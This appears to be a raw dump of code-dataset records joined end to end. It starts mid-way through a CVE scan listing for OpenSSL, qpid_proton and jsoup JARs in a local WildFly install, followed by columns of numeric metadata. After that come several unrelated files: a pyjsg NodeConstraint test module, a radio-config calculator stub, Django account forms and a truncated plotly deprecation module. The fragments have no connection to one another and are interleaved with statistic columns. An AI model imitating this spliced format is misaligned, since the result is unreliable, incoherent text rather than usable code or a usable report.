"/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-3195", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-3197", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-4000", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-0701", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "low"}, {"cve_id": "CVE-2016-0702", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "low"}, {"cve_id": "CVE-2016-0703", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-0704", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-0705", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2016-0797", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-0798", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2016-0799", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2016-0800", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-2105", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-2106", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-2107", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "low"}, {"cve_id": "CVE-2016-2108", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2016-2109", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2016-2176", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-2177", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2016-2178", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "low"}, {"cve_id": "CVE-2016-2179", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-2180", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-2181", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-2182", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2016-2842", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2016-6302", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-6303", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2016-6304", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2016-6306", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-7055", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "low"}, {"cve_id": "CVE-2016-8610", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2017-3731", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2017-3732", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2017-3735", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2017-3736", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-2166", "cve_product_version": "0.8.0", "cve_type": "java", "cve_product": "qpid_proton", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/apache/qpid/proton/main/proton-j-0.8.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2016-4467", "cve_product_version": "0.8.0", "cve_type": "java", "cve_product": "qpid_proton", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/apache/qpid/proton/main/proton-j-0.8.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-6748", "cve_product_version": "1.8.3", "cve_type": "java", "cve_product": "jsoup", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/jsoup/main/jsoup-1.8.3.jar", "cve_severity": "medium"}]' | 365.5 | 19,060 | 0.741261 | 3,294 | 21,199 | 4.580753 | 0.068002 | 0.127245 | 0.023858 | 0.059381 | 0.896348 | 0.889854 | 0.885877 | 0.86467 | 0.864139 | 0.864139 | 0 | 0.044761 | 0.050474 | 21,199 | 58 | 19,060 | 365.5 | 0.704854 | 0.035709 | 0 | 0 | 0 | 0.043478 | 0.949417 | 0.591813 | 0 | 0 | 0 | 0 | 0.304348 | 1 | 0.304348 | false | 0 | 0.217391 | 0 | 0.565217 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 12 |
cea5e46709340e1232129940dc85b0dd80b05f85 | 10,422 | py | Python | tests/test_basics/py/NodeConstraint.py | hsolbrig/pyjsg | 5ef46d9af6a94a0cd0e91ebf8b22f61c17e78429 | [
"CC0-1.0"
] | 3 | 2017-07-23T11:11:23.000Z | 2020-11-30T15:36:51.000Z | tests/test_basics/py/NodeConstraint.py | hsolbrig/pyjsg | 5ef46d9af6a94a0cd0e91ebf8b22f61c17e78429 | [
"CC0-1.0"
] | 15 | 2018-01-05T17:18:34.000Z | 2021-12-13T17:40:25.000Z | tests/test_basics/py/NodeConstraint.py | hsolbrig/pyjsg | 5ef46d9af6a94a0cd0e91ebf8b22f61c17e78429 | [
"CC0-1.0"
] | null | null | null | import typing
import pyjsg.jsglib as jsg
# .TYPE and .IGNORE settings
_CONTEXT = jsg.JSGContext()
_CONTEXT.TYPE_EXCEPTIONS.append("stringFacet_1_")
_CONTEXT.TYPE_EXCEPTIONS.append("stringFacet_2_")
_CONTEXT.TYPE_EXCEPTIONS.append("numericFacet")
_CONTEXT.TYPE_EXCEPTIONS.append("xsFacet_2_")
_CONTEXT.TYPE_EXCEPTIONS.append("stringFacet")
_CONTEXT.TYPE_EXCEPTIONS.append("xsFacet_1_")
_CONTEXT.TYPE_EXCEPTIONS.append("xsFacet")
_CONTEXT.TYPE_EXCEPTIONS.append("NodeConstraint")
class _Anon1(jsg.JSGString):
pattern = jsg.JSGPattern(r'(iri)|(bnode)|(nonliteral)|(literal)')
class IRI(jsg.JSGString):
pattern = jsg.JSGPattern(r'[0-9]')
class stringFacet_1_(jsg.JSGObject):
_reference_types = []
_members = {'length': jsg.Integer,
'minlength': jsg.Integer,
'maxlength': jsg.Integer}
_strict = True
def __init__(self,
length: int = None,
minlength: int = None,
maxlength: int = None,
**_kwargs: typing.Dict[str, object]):
super().__init__(_CONTEXT, **_kwargs)
self.length = length
self.minlength = minlength
self.maxlength = maxlength
class stringFacet_2_(jsg.JSGObject):
_reference_types = []
_members = {'pattern': jsg.String,
'flags': typing.Optional[jsg.String]}
_strict = True
def __init__(self,
pattern: str = None,
flags: typing.Optional[str] = None,
**_kwargs: typing.Dict[str, object]):
super().__init__(_CONTEXT, **_kwargs)
self.pattern = pattern
self.flags = flags
class numericFacet(jsg.JSGObject):
_reference_types = []
_members = {'mininclusive': jsg.Integer,
'minexclusive': jsg.Integer,
'maxinclusive': jsg.Integer,
'maxexclusive': jsg.Integer,
'totaldigits': jsg.Integer,
'fractiondigits': jsg.Integer}
_strict = True
def __init__(self,
mininclusive: int = None,
minexclusive: int = None,
maxinclusive: int = None,
maxexclusive: int = None,
totaldigits: int = None,
fractiondigits: int = None,
**_kwargs: typing.Dict[str, object]):
super().__init__(_CONTEXT, **_kwargs)
self.mininclusive = mininclusive
self.minexclusive = minexclusive
self.maxinclusive = maxinclusive
self.maxexclusive = maxexclusive
self.totaldigits = totaldigits
self.fractiondigits = fractiondigits
class xsFacet_2_(jsg.JSGObject):
_reference_types = [numericFacet]
_members = {'mininclusive': jsg.Integer,
'minexclusive': jsg.Integer,
'maxinclusive': jsg.Integer,
'maxexclusive': jsg.Integer,
'totaldigits': jsg.Integer,
'fractiondigits': jsg.Integer}
_strict = True
def __init__(self,
mininclusive: int = None,
minexclusive: int = None,
maxinclusive: int = None,
maxexclusive: int = None,
totaldigits: int = None,
fractiondigits: int = None,
**_kwargs: typing.Dict[str, object]):
super().__init__(_CONTEXT, **_kwargs)
self.mininclusive = mininclusive
self.minexclusive = minexclusive
self.maxinclusive = maxinclusive
self.maxexclusive = maxexclusive
self.totaldigits = totaldigits
self.fractiondigits = fractiondigits
class stringFacet(jsg.JSGObject):
_reference_types = [stringFacet_1_, stringFacet_2_]
_members = {'length': typing.Optional[jsg.Integer],
'minlength': typing.Optional[jsg.Integer],
'maxlength': typing.Optional[jsg.Integer],
'pattern': typing.Optional[jsg.String],
'flags': typing.Optional[jsg.String]}
_strict = True
def __init__(self,
opts_: typing.Union[stringFacet_1_, stringFacet_2_] = None,
**_kwargs: typing.Dict[str, object]):
super().__init__(_CONTEXT, **_kwargs)
if opts_ is not None:
if isinstance(opts_, stringFacet_1_):
self.length = opts_.length
self.minlength = opts_.minlength
self.maxlength = opts_.maxlength
elif isinstance(opts_, stringFacet_2_):
self.pattern = opts_.pattern
self.flags = opts_.flags
else:
raise ValueError(f"Unrecognized value type: {opts_}")
class xsFacet_1_(jsg.JSGObject):
_reference_types = [stringFacet]
_members = {'length': typing.Optional[jsg.Integer],
'minlength': typing.Optional[jsg.Integer],
'maxlength': typing.Optional[jsg.Integer],
'pattern': typing.Optional[jsg.String],
'flags': typing.Optional[jsg.String]}
_strict = True
def __init__(self,
opts_: typing.Union[stringFacet_1_, stringFacet_2_] = None,
**_kwargs: typing.Dict[str, object]):
super().__init__(_CONTEXT, **_kwargs)
if opts_ is not None:
if isinstance(opts_, stringFacet_1_):
self.length = opts_.length
self.minlength = opts_.minlength
self.maxlength = opts_.maxlength
elif isinstance(opts_, stringFacet_2_):
self.pattern = opts_.pattern
self.flags = opts_.flags
else:
raise ValueError(f"Unrecognized value type: {opts_}")
class xsFacet(jsg.JSGObject):
_reference_types = [xsFacet_1_, xsFacet_2_]
_members = {'length': typing.Optional[typing.Optional[jsg.Integer]],
'minlength': typing.Optional[typing.Optional[jsg.Integer]],
'maxlength': typing.Optional[typing.Optional[jsg.Integer]],
'pattern': typing.Optional[typing.Optional[jsg.String]],
'flags': typing.Optional[typing.Optional[jsg.String]],
'mininclusive': typing.Optional[typing.Optional[jsg.Integer]],
'minexclusive': typing.Optional[typing.Optional[jsg.Integer]],
'maxinclusive': typing.Optional[typing.Optional[jsg.Integer]],
'maxexclusive': typing.Optional[typing.Optional[jsg.Integer]],
'totaldigits': typing.Optional[typing.Optional[jsg.Integer]],
'fractiondigits': typing.Optional[typing.Optional[jsg.Integer]]}
_strict = True
def __init__(self,
opts_: typing.Union[xsFacet_1_, xsFacet_2_] = None,
**_kwargs: typing.Dict[str, object]):
super().__init__(_CONTEXT, **_kwargs)
if opts_ is not None:
if isinstance(opts_, xsFacet_1_):
if opts_ is not None:
if isinstance(opts_, stringFacet_1_):
self.length = opts_.length
self.minlength = opts_.minlength
self.maxlength = opts_.maxlength
elif isinstance(opts_, stringFacet_2_):
self.pattern = opts_.pattern
self.flags = opts_.flags
else:
raise ValueError(f"Unrecognized value type: {opts_}")
elif isinstance(opts_, xsFacet_2_):
self.mininclusive = opts_.mininclusive
self.minexclusive = opts_.minexclusive
self.maxinclusive = opts_.maxinclusive
self.maxexclusive = opts_.maxexclusive
self.totaldigits = opts_.totaldigits
self.fractiondigits = opts_.fractiondigits
else:
raise ValueError(f"Unrecognized value type: {opts_}")
class NodeConstraint(jsg.JSGObject):
_reference_types = [xsFacet]
_members = {'nodeKind': typing.Optional[_Anon1],
'datatype': typing.Optional[IRI],
'length': typing.Optional[typing.Optional[jsg.Integer]],
'minlength': typing.Optional[typing.Optional[jsg.Integer]],
'maxlength': typing.Optional[typing.Optional[jsg.Integer]],
'pattern': typing.Optional[typing.Optional[jsg.String]],
'flags': typing.Optional[typing.Optional[jsg.String]],
'mininclusive': typing.Optional[typing.Optional[jsg.Integer]],
'minexclusive': typing.Optional[typing.Optional[jsg.Integer]],
'maxinclusive': typing.Optional[typing.Optional[jsg.Integer]],
'maxexclusive': typing.Optional[typing.Optional[jsg.Integer]],
'totaldigits': typing.Optional[typing.Optional[jsg.Integer]],
'fractiondigits': typing.Optional[typing.Optional[jsg.Integer]]}
_strict = True
def __init__(self,
nodeKind: typing.Optional[str] = None,
datatype: typing.Optional[str] = None,
opts_: typing.Union[xsFacet_1_, xsFacet_2_] = None,
**_kwargs: typing.Dict[str, object]):
super().__init__(_CONTEXT, **_kwargs)
self.nodeKind = nodeKind
self.datatype = datatype
if opts_ is not None:
if isinstance(opts_, xsFacet_1_):
if opts_ is not None:
if isinstance(opts_, stringFacet_1_):
self.length = opts_.length
self.minlength = opts_.minlength
self.maxlength = opts_.maxlength
elif isinstance(opts_, stringFacet_2_):
self.pattern = opts_.pattern
self.flags = opts_.flags
else:
raise ValueError(f"Unrecognized value type: {opts_}")
elif isinstance(opts_, xsFacet_2_):
self.mininclusive = opts_.mininclusive
self.minexclusive = opts_.minexclusive
self.maxinclusive = opts_.maxinclusive
self.maxexclusive = opts_.maxexclusive
self.totaldigits = opts_.totaldigits
self.fractiondigits = opts_.fractiondigits
else:
raise ValueError(f"Unrecognized value type: {opts_}")
_CONTEXT.NAMESPACE = locals()
| 40.239382 | 80 | 0.583093 | 949 | 10,422 | 6.125395 | 0.082192 | 0.144504 | 0.096508 | 0.099088 | 0.884741 | 0.79563 | 0.784277 | 0.778944 | 0.778944 | 0.778084 | 0 | 0.005029 | 0.313088 | 10,422 | 258 | 81 | 40.395349 | 0.806956 | 0.002495 | 0 | 0.767123 | 0 | 0 | 0.078218 | 0.003464 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03653 | false | 0 | 0.009132 | 0 | 0.210046 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0c94bab513b19cee88c5d01969f43bc1f1d22c76 | 132 | py | Python | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/viper/calculators/calc_ircal.py | lmnotran/gecko_sdk | 2e82050dc8823c9fe0e8908c1b2666fb83056230 | [
"Zlib"
] | 82 | 2016-06-29T17:24:43.000Z | 2021-04-16T06:49:17.000Z | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/viper/calculators/calc_ircal.py | lmnotran/gecko_sdk | 2e82050dc8823c9fe0e8908c1b2666fb83056230 | [
"Zlib"
] | 6 | 2022-01-12T18:22:08.000Z | 2022-03-25T10:19:27.000Z | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/viper/calculators/calc_ircal.py | lmnotran/gecko_sdk | 2e82050dc8823c9fe0e8908c1b2666fb83056230 | [
"Zlib"
] | 56 | 2016-08-02T10:50:50.000Z | 2021-07-19T08:57:34.000Z | from pyradioconfig.parts.bobcat.calculators.calc_ircal import Calc_IrCal_Bobcat
class calc_ircal_viper(Calc_IrCal_Bobcat):
pass | 33 | 79 | 0.863636 | 19 | 132 | 5.631579 | 0.578947 | 0.336449 | 0.280374 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 132 | 4 | 80 | 33 | 0.884298 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 8 |
0c99108e85e1f47705e4b92ee5e58d59003679a1 | 3,730 | py | Python | apps/accounts/forms.py | gurnitha/2022-django4-news-mangazine | 1ea698f1eb90fec7da1a45254bb1166cf4431669 | [
"Unlicense"
] | null | null | null | apps/accounts/forms.py | gurnitha/2022-django4-news-mangazine | 1ea698f1eb90fec7da1a45254bb1166cf4431669 | [
"Unlicense"
] | null | null | null | apps/accounts/forms.py | gurnitha/2022-django4-news-mangazine | 1ea698f1eb90fec7da1a45254bb1166cf4431669 | [
"Unlicense"
] | null | null | null | # apps/accounts/forms.py
# Django modules
from django import forms
from django.contrib.auth.models import User
# Locals
from apps.accounts.models import Profile
# Create your forms here.
# FORM: UserRegistrationForm
class UserRegistrationForm(forms.ModelForm):
class Meta:
model = User
fields = ('first_name', 'last_name', 'username', 'email', 'password')
first_name = forms.CharField(
widget=forms.TextInput(attrs={
'class': 'form-control'
}))
last_name = forms.CharField(
widget=forms.TextInput(attrs={
'class': 'form-control'
}))
username = forms.CharField(
widget=forms.TextInput(attrs={
'class': 'form-control'
}))
email = forms.CharField(
widget=forms.EmailInput(attrs={
'class': 'form-control'
})
)
password = forms.CharField(
widget=forms.PasswordInput(attrs={
'class': 'form-control'
}))
password2 = forms.CharField(
widget=forms.PasswordInput(attrs={
'class': 'form-control'
}))
# widgets = {
# 'first_name': forms.TextInput(
# attrs={'class': 'form-control'}
# ),
# 'last_name': forms.TextInput(
# attrs={'class': 'form-control'}
# ),
# 'email': forms.EmailInput(
# attrs={'class': 'form-control'}
# ),
# 'password': forms.PasswordInput(
# attrs={'class': 'form-control'}
# ),
# }
# FORM: UserLoginForm
class UserLoginForm(forms.Form):
email = forms.CharField(
widget=forms.EmailInput(attrs={
'class': 'form-control'
})
)
password = forms.CharField(
widget=forms.PasswordInput(attrs={
'class': 'form-control'
})
)
# FORM: UserUpdateForm
class UserUpdateForm(forms.ModelForm):
class Meta:
model = User
fields = ('first_name', 'last_name', 'email')
# first_name = forms.CharField(
# widget=forms.TextInput(attrs={
# 'class': 'form-control'
# }))
# last_name = forms.CharField(
# widget=forms.TextInput(attrs={
# 'class': 'form-control'
# }))
# username = forms.CharField(
# widget=forms.TextInput(attrs={
# 'class': 'form-control'
# }))
# email = forms.CharField(
# widget=forms.EmailInput(attrs={
# 'class': 'form-control'
# })
# )
widgets = {
'first_name': forms.TextInput(
attrs={'class': 'form-control'}
),
'last_name': forms.TextInput(
attrs={'class': 'form-control'}
),
# 'username': forms.TextInput(
# attrs={'class': 'form-control'}
# ),
'email': forms.EmailInput(
attrs={'class': 'form-control'}
)
}
# FORM: UserUpdateProfileForm
class UserUpdateProfileForm(forms.ModelForm):
class Meta:
model = Profile
fields = ('phone_number', 'address', 'postal_code', 'city', 'country')
# phone_number = forms.CharField(
# widget=forms.TextInput(attrs={
# 'class': 'form-control'
# }))
# email = forms.CharField(
# widget=forms.EmailInput(attrs={
# 'class': 'form-control'
# }))
# address = forms.CharField(
# widget=forms.TextInput(attrs={
# 'class': 'form-control'
# }))
# postal_code = forms.CharField(
# widget=forms.TextInput(attrs={
# 'class': 'form-control'
# }))
# city = forms.CharField(
# widget=forms.TextInput(attrs={
# 'class': 'form-control'
# }))
# country = forms.CharField(
# widget=forms.TextInput(attrs={
# 'class': 'form-control'
# }))
widgets = {
'phone_number': forms.TextInput(
attrs={'class': 'form-control'}
),
'address': forms.TextInput(
attrs={'class': 'form-control'}
),
# 'email': forms.TextInput(
# attrs={'class': 'form-control'}
# ),
'postal_code': forms. TextInput (
attrs={'class': 'form-control'}
),
'city': forms. TextInput (
attrs={'class': 'form-control'}
),
'country': forms. TextInput (
attrs={'class': 'form-control'}
)
}
| 20.162162 | 72 | 0.623592 | 379 | 3,730 | 6.08971 | 0.129288 | 0.138648 | 0.194107 | 0.291161 | 0.814558 | 0.79766 | 0.763432 | 0.745234 | 0.678943 | 0.541161 | 0 | 0.000332 | 0.192493 | 3,730 | 184 | 73 | 20.271739 | 0.765936 | 0.39571 | 0 | 0.620253 | 0 | 0 | 0.202566 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.088608 | 0.037975 | 0 | 0.227848 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
0cbfe3cf6fbe9e5c88cb748331528bc6af7f6095 | 19,741 | py | Python | plotly/graph_objs/_deprecations.py | gnestor/plotly.py | a8ae062795ddbf9867b8578fe6d9e244948c15ff | [
"MIT"
] | 12 | 2020-04-18T18:10:22.000Z | 2021-12-06T10:11:15.000Z | plotly/graph_objs/_deprecations.py | Vesauza/plotly.py | e53e626d59495d440341751f60aeff73ff365c28 | [
"MIT"
] | 27 | 2020-04-28T21:23:12.000Z | 2021-06-25T15:36:38.000Z | plotly/graph_objs/_deprecations.py | Vesauza/plotly.py | e53e626d59495d440341751f60aeff73ff365c28 | [
"MIT"
] | 6 | 2020-04-18T23:07:08.000Z | 2021-11-18T07:53:06.000Z | import warnings
warnings.filterwarnings(
'default', r'plotly\.graph_objs\.\w+ is deprecated', DeprecationWarning
)
class Data(list):
"""
plotly.graph_objs.Data is deprecated.
Please replace it with a list or tuple of instances of the following types
- plotly.graph_objs.Scatter
- plotly.graph_objs.Bar
- plotly.graph_objs.Area
- plotly.graph_objs.Histogram
- etc.
"""
def __init__(self, *args, **kwargs):
"""
plotly.graph_objs.Data is deprecated.
Please replace it with a list or tuple of instances of the following types
- plotly.graph_objs.Scatter
- plotly.graph_objs.Bar
- plotly.graph_objs.Area
- plotly.graph_objs.Histogram
- etc.
"""
warnings.warn(
"""plotly.graph_objs.Data is deprecated.
Please replace it with a list or tuple of instances of the following types
- plotly.graph_objs.Scatter
- plotly.graph_objs.Bar
- plotly.graph_objs.Area
- plotly.graph_objs.Histogram
- etc.
""", DeprecationWarning
)
super(Data, self).__init__(*args, **kwargs)
class Annotations(list):
"""
plotly.graph_objs.Annotations is deprecated.
Please replace it with a list or tuple of instances of the following types
- plotly.graph_objs.layout.Annotation
